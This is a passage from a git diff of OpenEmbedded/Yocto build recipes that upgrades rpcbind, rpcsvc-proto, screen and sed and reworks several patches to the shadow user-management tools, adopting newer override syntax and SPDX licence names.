-LIC_FILES_CHKSUM = "file://COPYING;md5=b46486e4c4a416602693a711bb5bfa39 \
- file://src/rpcinfo.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \
- file://init.d \
- file://rpcbind.conf \
- file://rpcbind_add_option_to_fix_port_number.patch \
- file://0001-systemd-use-EnvironmentFile.patch \
- "
-SRC_URI[md5sum] = "ed46f09b9c0fa2d49015f6431bc5ea7b"
-SRC_URI[sha256sum] = "2ce360683963b35c19c43f0ee2c7f18aa5b81ef41c3fdbd15ffcb00b8bffda7a"
-
-inherit autotools update-rc.d systemd pkgconfig
-
-PACKAGECONFIG ??= "tcp-wrappers"
-PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
-
-INITSCRIPT_NAME = "rpcbind"
-INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ."
-
-SYSTEMD_SERVICE_${PN} = "rpcbind.service rpcbind.socket"
-
-inherit useradd
-
-USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --no-create-home --home-dir / \
- --shell /bin/false --user-group rpc"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_unitdir}/system/, \
- --without-systemdsystemunitdir, \
- systemd \
-"
-
-EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/init.d
- sed -e 's,/etc/,${sysconfdir}/,g' \
- -e 's,/sbin/,${sbindir}/,g' \
- ${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind
- chmod 0755 ${D}${sysconfdir}/init.d/rpcbind
-}
diff --git a/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
new file mode 100644
index 0000000000..dbd4d32e0a
--- /dev/null
+++ b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
@@ -0,0 +1,55 @@
+SUMMARY = "Universal Addresses to RPC Program Number Mapper"
+DESCRIPTION = "The rpcbind utility is a server that converts RPC \
+ program numbers into universal addresses."
+SECTION = "console/network"
+HOMEPAGE = "http://sourceforge.net/projects/rpcbind/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=201237&atid=976751"
+DEPENDS = "libtirpc quota"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b46486e4c4a416602693a711bb5bfa39 \
+ file://src/rpcinfo.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \
+ file://init.d \
+ file://rpcbind.conf \
+ file://rpcbind_add_option_to_fix_port_number.patch \
+ file://0001-systemd-use-EnvironmentFile.patch \
+ "
+SRC_URI[sha256sum] = "5613746489cae5ae23a443bb85c05a11741a5f12c8f55d2bb5e83b9defeee8de"
+
+inherit autotools update-rc.d systemd pkgconfig update-alternatives
+
+PACKAGECONFIG ??= "tcp-wrappers"
+PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
+
+INITSCRIPT_NAME = "rpcbind"
+INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ."
+
+SYSTEMD_SERVICE:${PN} = "rpcbind.service rpcbind.socket"
+
+inherit useradd
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system --no-create-home --home-dir / \
+ --shell /bin/false --user-group rpc"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/, \
+ --without-systemdsystemunitdir, \
+ systemd \
+"
+
+EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc --with-statedir=${runtimedir}/rpcbind"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/init.d
+ sed -e 's,/etc/,${sysconfdir}/,g' \
+ -e 's,/sbin/,${sbindir}/,g' \
+ ${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind
+ chmod 0755 ${D}${sysconfdir}/init.d/rpcbind
+ install -m 0644 ${WORKDIR}/rpcbind.conf ${D}${sysconfdir}/rpcbind.conf
+}
+
+ALTERNATIVE:${PN} = "rpcinfo"
+ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo"
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
index 5aff2b56a6..20933153a3 100644
--- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
+++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
@@ -15,25 +15,25 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=0daaf958d5531ab86169ec6e275e1517"
SECTION = "libs"
DEPENDS += "rpcsvc-proto-native"
-PV = "1.4.2"
+PV = "1.4.4"
-SRCREV = "6f54e54455c073d08a56ea627c6cd2355a40eb53"
+SRCREV = "c65926005e50da02a4da3e26abc42eded36cd19d"
-SRC_URI = "git://github.com/thkukuk/${BPN} \
+SRC_URI = "git://github.com/thkukuk/${BPN};branch=master;protocol=https \
file://0001-Use-cross-compiled-rpcgen.patch \
- "
+ "
S = "${WORKDIR}/git"
inherit autotools gettext
-EXTRA_OEMAKE_class-native = " -C rpcgen"
+EXTRA_OEMAKE:class-native = " -C rpcgen"
-do_configure_prepend() {
+do_configure:prepend() {
touch ${S}/ABOUT-NLS
}
-do_install_append() {
+do_install:append() {
# They come from quota recipe
rm -rf ${D}${includedir}/rpcsvc/rquota.[hx]
}
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
index 208974004b..8e459b5634 100644
--- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
+++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
@@ -10,14 +10,11 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
rpcsvc/Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-Index: git/rpcsvc/Makefile.am
-===================================================================
---- git.orig/rpcsvc/Makefile.am
-+++ git/rpcsvc/Makefile.am
-@@ -12,5 +12,5 @@ nodist_rpcsvc_HEADERS = klm_prot.h nlm_p
+--- a/rpcsvc/Makefile.am
++++ b/rpcsvc/Makefile.am
+@@ -12,4 +12,4 @@ nodist_rpcsvc_HEADERS = klm_prot.h nlm_p
nfs_prot.h rquota.h sm_inter.h
- %.h: %.x
+ .x.h:
- $(top_builddir)/rpcgen/rpcgen -h -o $@ $<
+ rpcgen -h -o $@ $<
-
diff --git a/meta/recipes-extended/screen/screen_4.8.0.bb b/meta/recipes-extended/screen/screen_4.8.0.bb
deleted file mode 100644
index 4772eb6c7a..0000000000
--- a/meta/recipes-extended/screen/screen_4.8.0.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Multiplexing terminal manager"
-DESCRIPTION = "Screen is a full-screen window manager \
-that multiplexes a physical terminal between several \
-processes, typically interactive shells."
-HOMEPAGE = "http://www.gnu.org/software/screen/"
-BUGTRACKER = "https://savannah.gnu.org/bugs/?func=additem&group=screen"
-
-SECTION = "console/utils"
-
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://screen.h;endline=26;md5=b8dc717c9a3dba842ae6c44ca0f73f52 \
- "
-
-DEPENDS = "ncurses virtual/crypt \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} = "base-files"
-
-SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \
- file://0002-comm.h-now-depends-on-term.h.patch \
- file://0001-fix-for-multijob-build.patch \
- file://0001-Remove-more-compatibility-stuff.patch \
- "
-
-SRC_URI[md5sum] = "d276213d3acd10339cd37848b8c4ab1e"
-SRC_URI[sha256sum] = "6e11b13d8489925fde25dfb0935bf6ed71f9eb47eff233a181e078fde5655aa1"
-
-inherit autotools texinfo
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[utempter] = "ac_cv_header_utempter_h=yes,ac_cv_header_utempter_h=no,libutempter,"
-
-EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-sys-screenrc=${sysconfdir}/screenrc \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}"
-
-do_install_append () {
- install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 644 ${WORKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen
- fi
-}
-
-pkg_postinst_${PN} () {
- grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells
-}
-
-pkg_postrm_${PN} () {
- printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
-}
diff --git a/meta/recipes-extended/screen/screen_4.9.1.bb b/meta/recipes-extended/screen/screen_4.9.1.bb
new file mode 100644
index 0000000000..7b040e6b57
--- /dev/null
+++ b/meta/recipes-extended/screen/screen_4.9.1.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Multiplexing terminal manager"
+DESCRIPTION = "Screen is a full-screen window manager \
+that multiplexes a physical terminal between several \
+processes, typically interactive shells."
+HOMEPAGE = "http://www.gnu.org/software/screen/"
+BUGTRACKER = "https://savannah.gnu.org/bugs/?func=additem&group=screen"
+
+SECTION = "console/utils"
+
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://screen.h;endline=26;md5=b8dc717c9a3dba842ae6c44ca0f73f52 \
+ "
+
+DEPENDS = "ncurses virtual/crypt \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+RDEPENDS:${PN} = "base-files"
+
+SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \
+ file://0002-comm.h-now-depends-on-term.h.patch \
+ file://0001-fix-for-multijob-build.patch \
+ file://0001-Remove-more-compatibility-stuff.patch \
+ "
+
+SRC_URI[sha256sum] = "26cef3e3c42571c0d484ad6faf110c5c15091fbf872b06fa7aa4766c7405ac69"
+
+inherit autotools texinfo
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[utempter] = "ac_cv_header_utempter_h=yes,ac_cv_header_utempter_h=no,libutempter,"
+
+EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-sys-screenrc=${sysconfdir}/screenrc \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}"
+
+do_install:append () {
+ install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 644 ${WORKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen
+ fi
+}
+
+pkg_postinst:${PN} () {
+ grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells
+}
+
+pkg_postrm:${PN} () {
+ printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
+}
diff --git a/meta/recipes-extended/sed/sed/run-ptest b/meta/recipes-extended/sed/sed/run-ptest
index 993d7d5d75..0460c7961f 100644
--- a/meta/recipes-extended/sed/sed/run-ptest
+++ b/meta/recipes-extended/sed/sed/run-ptest
@@ -2,4 +2,4 @@
chown nobody testsuite
chown nobody ../ptest
-su nobody -c "make test-suite.log"
+su nobody -s /bin/sh -c "make test-suite.log"
diff --git a/meta/recipes-extended/sed/sed_4.8.bb b/meta/recipes-extended/sed/sed_4.8.bb
deleted file mode 100644
index 39e3a61df5..0000000000
--- a/meta/recipes-extended/sed/sed_4.8.bb
+++ /dev/null
@@ -1,65 +0,0 @@
-SUMMARY = "Stream EDitor (text filtering utility)"
-HOMEPAGE = "http://www.gnu.org/software/sed/"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \
- file://sed/sed.h;beginline=1;endline=15;md5=fb3c7e6fbca6f66943859153d4be8efe \
- "
-SECTION = "console/utils"
-
-SRC_URI = "${GNU_MIRROR}/sed/sed-${PV}.tar.xz \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "6d906edfdb3202304059233f51f9a71d"
-SRC_URI[sha256sum] = "f79b0cfea71b37a8eeec8490db6c5f7ae7719c35587f21edb0617f370eeff633"
-
-inherit autotools texinfo update-alternatives gettext ptest
-
-PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
-
-RDEPENDS_${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat"
-RRECOMMENDS_${PN}-ptest_append_libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7"
-
-EXTRA_OECONF = "--disable-acl \
- "
-
-do_install () {
- autotools_do_install
- install -d ${D}${base_bindir}
- if [ ! ${D}${bindir} -ef ${D}${base_bindir} ]; then
- mv ${D}${bindir}/sed ${D}${base_bindir}/sed
- rmdir ${D}${bindir}/
- fi
-}
-
-ALTERNATIVE_${PN} = "sed"
-ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed"
-ALTERNATIVE_PRIORITY = "100"
-
-do_compile_ptest() {
- oe_runmake testsuite/get-mb-cur-max testsuite/test-mbrtowc
-}
-
-do_install_ptest() {
- cp -rf ${S}/testsuite/ ${D}${PTEST_PATH}
- cp -rf ${B}/testsuite/* ${D}${PTEST_PATH}/testsuite/
- cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}/
- cp ${B}/Makefile ${D}${PTEST_PATH}
- cp ${S}/init.cfg ${D}${PTEST_PATH}
-
- sed -e 's/^Makefile:/_Makefile:/' -e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/bash/sh/' -i ${D}${PTEST_PATH}/Makefile
- for i in `grep -rl "sed/sed" ${D}${PTEST_PATH}`; do sed -e 's/..\/sed\/sed/sed/' -i $i; done
-
- sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:abs_top_builddir =.*:abs_top_builddir = ..:g' \
- -e 's:abs_top_srcdir =.*:abs_top_srcdir = ..:g' \
- -e 's:abs_srcdir =.*:abs_srcdir = ..:g' \
- -e 's:top_srcdir =.*:top_srcdir = ..:g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- -i ${D}${PTEST_PATH}/Makefile
-}
-
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
diff --git a/meta/recipes-extended/sed/sed_4.9.bb b/meta/recipes-extended/sed/sed_4.9.bb
new file mode 100644
index 0000000000..c4d89c34b2
--- /dev/null
+++ b/meta/recipes-extended/sed/sed_4.9.bb
@@ -0,0 +1,67 @@
+SUMMARY = "Stream EDitor (text filtering utility)"
+HOMEPAGE = "http://www.gnu.org/software/sed/"
+DESCRIPTION = "sed (stream editor) is a non-interactive command-line text editor."
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://sed/sed.h;beginline=1;endline=15;md5=4e8e0f77bc4c1c2c02c2b90d3d24c670 \
+ "
+SECTION = "console/utils"
+
+SRC_URI = "${GNU_MIRROR}/sed/sed-${PV}.tar.xz \
+ file://run-ptest \
+"
+
+SRC_URI[sha256sum] = "6e226b732e1cd739464ad6862bd1a1aba42d7982922da7a53519631d24975181"
+
+inherit autotools texinfo update-alternatives gettext ptest
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+RDEPENDS:${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat"
+RRECOMMENDS:${PN}-ptest:append:libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7"
+
+EXTRA_OECONF = "--disable-acl \
+ "
+
+do_install () {
+ autotools_do_install
+ install -d ${D}${base_bindir}
+ if [ ! ${D}${bindir} -ef ${D}${base_bindir} ]; then
+ mv ${D}${bindir}/sed ${D}${base_bindir}/sed
+ rmdir ${D}${bindir}/
+ fi
+}
+
+ALTERNATIVE:${PN} = "sed"
+ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed"
+ALTERNATIVE_PRIORITY = "100"
+
+do_compile_ptest() {
+ oe_runmake testsuite/get-mb-cur-max testsuite/test-mbrtowc
+}
+
+do_install_ptest() {
+ cp -rf ${S}/testsuite/ ${D}${PTEST_PATH}
+ cp -rf ${B}/testsuite/* ${D}${PTEST_PATH}/testsuite/
+ cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}/
+ cp ${B}/Makefile ${D}${PTEST_PATH}
+ cp ${S}/init.cfg ${D}${PTEST_PATH}
+
+ sed -e 's/^Makefile:/_Makefile:/' -e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/bash/sh/' -i ${D}${PTEST_PATH}/Makefile
+ for i in `grep -rl "sed/sed" ${D}${PTEST_PATH}`; do sed -e 's/..\/sed\/sed/sed/' -i $i; done
+
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:abs_top_builddir =.*:abs_top_builddir = ..:g' \
+ -e 's:abs_top_srcdir =.*:abs_top_srcdir = ..:g' \
+ -e 's:abs_srcdir =.*:abs_srcdir = ..:g' \
+ -e 's:top_srcdir =.*:top_srcdir = ..:g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -i ${D}${PTEST_PATH}/Makefile
+}
+
+RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch b/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
deleted file mode 100644
index ab317b9aa0..0000000000
--- a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
+++ /dev/null
@@ -1,123 +0,0 @@
-From fa2d9453656641002802d8165e80adb9e6a729d2 Mon Sep 17 00:00:00 2001
-From: Scott Garman <scott.a.garman@intel.com>
-Date: Thu, 14 Apr 2016 12:28:57 +0200
-Subject: [PATCH] Disable use of syslog for sysroot
-
-Disable use of syslog to prevent sysroot user and group additions from
-writing entries to the host's syslog. This patch should only be used
-with the shadow-native recipe.
-
-Upstream-Status: Inappropriate [disable feature]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/groupadd.c | 3 +++
- src/groupdel.c | 3 +++
- src/groupmems.c | 3 +++
- src/groupmod.c | 3 +++
- src/useradd.c | 3 +++
- src/userdel.c | 3 +++
- src/usermod.c | 3 +++
- 7 files changed, 21 insertions(+)
-
-diff --git a/src/groupadd.c b/src/groupadd.c
-index 2dd8eec..e9c4bb7 100644
---- a/src/groupadd.c
-+++ b/src/groupadd.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <getopt.h>
-diff --git a/src/groupdel.c b/src/groupdel.c
-index f941a84..5a70056 100644
---- a/src/groupdel.c
-+++ b/src/groupdel.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <grp.h>
-diff --git a/src/groupmems.c b/src/groupmems.c
-index fc91c8b..2842514 100644
---- a/src/groupmems.c
-+++ b/src/groupmems.c
-@@ -32,6 +32,9 @@
-
- #include <config.h>
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <fcntl.h>
- #include <getopt.h>
- #include <grp.h>
-diff --git a/src/groupmod.c b/src/groupmod.c
-index 1dca5fc..bc14438 100644
---- a/src/groupmod.c
-+++ b/src/groupmod.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <getopt.h>
-diff --git a/src/useradd.c b/src/useradd.c
-index 4af0f7c..1b7bf06 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <assert.h>
- #include <ctype.h>
- #include <errno.h>
-diff --git a/src/userdel.c b/src/userdel.c
-index cc951e5..153e0be 100644
---- a/src/userdel.c
-+++ b/src/userdel.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <assert.h>
- #include <errno.h>
- #include <fcntl.h>
-diff --git a/src/usermod.c b/src/usermod.c
-index 05b9871..21c6da9 100644
---- a/src/usermod.c
-+++ b/src/usermod.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <assert.h>
- #include <ctype.h>
- #include <errno.h>
diff --git a/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch b/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch
new file mode 100644
index 0000000000..2e5503bfd4
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch
@@ -0,0 +1,37 @@
+From af4b8cb780587aa736692a3baa76b60474f19c5d Mon Sep 17 00:00:00 2001
+From: Enrico Scholz <enrico.scholz@sigma-chemnitz.de>
+Date: Mon, 18 Mar 2024 12:14:21 +0100
+Subject: [PATCH] lib/copydir:copy_entry(): use temporary stat buffer
+
+There are no guarantees that fstatat() does not clobber the stat
+buffer on errors.
+
+Use a temporary buffer so that the following code sees correct
+attributes of the source entry.
+
+Upstream-Status: Submitted [https://github.com/shadow-maint/shadow/pull/974]
+
+Signed-off-by: Enrico Scholz <enrico.scholz@sigma-chemnitz.de>
+---
+ lib/copydir.c | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+--- a/lib/copydir.c
++++ b/lib/copydir.c
+@@ -400,6 +400,7 @@ static int copy_entry (const struct path
+ {
+ int err = 0;
+ struct stat sb;
++ struct stat tmp_sb;
+ struct link_name *lp;
+ struct timespec mt[2];
+
+@@ -423,7 +424,7 @@ static int copy_entry (const struct path
+ * If the destination already exists do nothing.
+ * This is after the copy_dir above to still iterate into subdirectories.
+ */
+- if (fstatat(dst->dirfd, dst->name, &sb, AT_SYMLINK_NOFOLLOW) != -1) {
++ if (fstatat(dst->dirfd, dst->name, &tmp_sb, AT_SYMLINK_NOFOLLOW) != -1) {
+ return err;
+ }
+
diff --git a/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch b/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch
deleted file mode 100644
index c6332e4f76..0000000000
--- a/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch
+++ /dev/null
@@ -1,301 +0,0 @@
-From a7d995228491ad5255ad86c1f04ba071f6880897 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Sat, 16 Nov 2013 15:27:47 +0800
-Subject: [PATCH] Allow for setting password in clear text
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/Makefile.am | 8 ++++----
- src/groupadd.c | 20 +++++++++++++++-----
- src/groupmod.c | 20 +++++++++++++++-----
- src/useradd.c | 21 +++++++++++++++------
- src/usermod.c | 20 +++++++++++++++-----
- 5 files changed, 64 insertions(+), 25 deletions(-)
-
-diff --git a/src/Makefile.am b/src/Makefile.am
-index f31fd7a..4a317a3 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -103,10 +103,10 @@ chsh_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT_NOPAM)
- chpasswd_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT) $(LIBECONF)
- expiry_LDADD = $(LDADD) $(LIBECONF)
- gpasswd_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT) $(LIBECONF)
--groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-+groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) $(LIBCRYPT)
- groupdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
- groupmems_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
--groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-+groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) $(LIBCRYPT)
- grpck_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
- grpconv_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
- grpunconv_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-@@ -127,9 +127,9 @@ su_SOURCES = \
- suauth.c
- su_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBCRYPT_NOPAM) $(LIBSKEY) $(LIBMD) $(LIBECONF)
- sulogin_LDADD = $(LDADD) $(LIBCRYPT) $(LIBECONF)
--useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF)
-+useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) $(LIBCRYPT)
- userdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBECONF)
--usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF)
-+usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) $(LIBCRYPT)
- vipw_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-
- install-am: all-am
-diff --git a/src/groupadd.c b/src/groupadd.c
-index e9c4bb7..d572c00 100644
---- a/src/groupadd.c
-+++ b/src/groupadd.c
-@@ -127,9 +127,10 @@ static /*@noreturn@*/void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to create groups with duplicate\n"
- " (non-unique) GID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD use this encrypted password for the new group\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD use this clear password for the new group\n"), usageout);
- (void) fputs (_(" -r, --system create a system account\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR directory prefix\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR directory prefix\n"), usageout);
- (void) fputs ("\n", usageout);
- exit (status);
- }
-@@ -391,13 +392,14 @@ static void process_flags (int argc, char **argv)
- {"key", required_argument, NULL, 'K'},
- {"non-unique", no_argument, NULL, 'o'},
